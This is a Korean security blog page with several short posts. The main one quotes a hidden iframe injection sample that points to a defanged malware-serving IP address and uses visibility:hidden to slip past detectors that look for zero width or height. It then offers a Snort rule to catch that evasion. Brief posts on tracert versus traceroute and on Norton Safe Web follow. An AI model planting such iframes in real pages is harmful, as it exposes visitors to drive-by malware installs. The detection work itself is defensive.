<iframe name=c24 src='hxxp://205.234.243.220/d/index.php?'+Math.round(Math.random()*28396)+'9c10b5bc42d8' width=62 height=458 style='visibility:hidden'></iframe>

iframe 삽입 공격의 대부분은 width, height 값을 0으로 해서 웹 페이지에 삽입해서 User들이 모르게 악성파일을 설치하기 위한 목적으로 사용된다.

그렇기때문에 보안 장비에서 대부분 width, height 값이 둘 중에 0일때 탐지/차단을 한다..물론 오탐도 발생한다..^^; 그래서 좀더 세밀하게 만든다..

위 코드에서 사용된 style='visibility:hidden' 은 iframe을 보이지 않게한다..
 이런식으로 공격을 한다면 대부분의 보안 장비에서 우회할 것으로 판단된다.

여기에서 다시 생각해보면 정상적인 사이트에서 iframe에 width, height 값에 0이 아닌 값을 주고 굳이 style='visibility:hidden' 옵션을 써서 iframe을 숨길까?

alert tcp $EXTERNAL_NET $HTTP_PORTS->$HOME_NET any(msg:"iframe evation attack-visibility:hidden"; flow:established,from_server; content:"<iframe"; nocase; pcre:"/<iframe.{0,40}src=('|")(http|ftp)://.*(width|height)=[^=0].*style=('|")visibility:(\s)?hidden('|")/i"; sid:XXXXXXX; rev:1;)

오탐 발생하면 알려주시고 고칠 부분이 있으면 comment 달아주십시요..^^

ps. 위 iframe 코드를 제공해준 나의 영원한 동반자인 이지스(bscry) 고맙다..

Websense에서도 동일한 날짜(?)에 포스팅된게 있네요..그래서 패턴을 좀 바꿔봤습니다.

http://securitylabs.websense.com/content/Alerts/3488.aspx

Posted by regexkorea
보안 이야기2009. 10. 8. 16:28

tracert와 traceroute의 기능은 경로까지 다다르는 시간을 표시해준다..
tracert는 Windows계열에서 사용하는 명령이고, traceroute는 Unix/Linux에서 사용하는 명령이다.

보통 icmp 프로토콜을 사용하여 request와 reponse 값을 받는 다고 생각한다.

tracert는 icmp request를 보내서 icmp reponse를 받는다.
traceroute는 upd 30000번 이상의 포트로 request 하고 icmp response를 받는다.

진짜일까? 그럼 무존건 패킷을 떠보고 눈으로 확인해보는게 최고다.. ^^

 
traceroute에서 icmp request를 하는 옵션을 제공한다.
Posted by regexkorea
보안 사이트 소개2009. 10. 8. 15:48
https://safeweb.norton.com/

꽤 괜찮은 사이트이다.. 기존에 분석이 되지 않았을 경우에는 예약을 자동으로 해준다..
근데 언제 분석이 되는 걸까? ^^

'보안 사이트 소개' 카테고리의 다른 글

오늘의 자료  (0) 2014.02.06
regex 테스트 사이트  (1) 2012.02.22
참고 사이트  (0) 2012.02.21
WireShark 공부 방법  (0) 2011.04.19
대학 CERT 연합  (0) 2010.02.23
Posted by regexkorea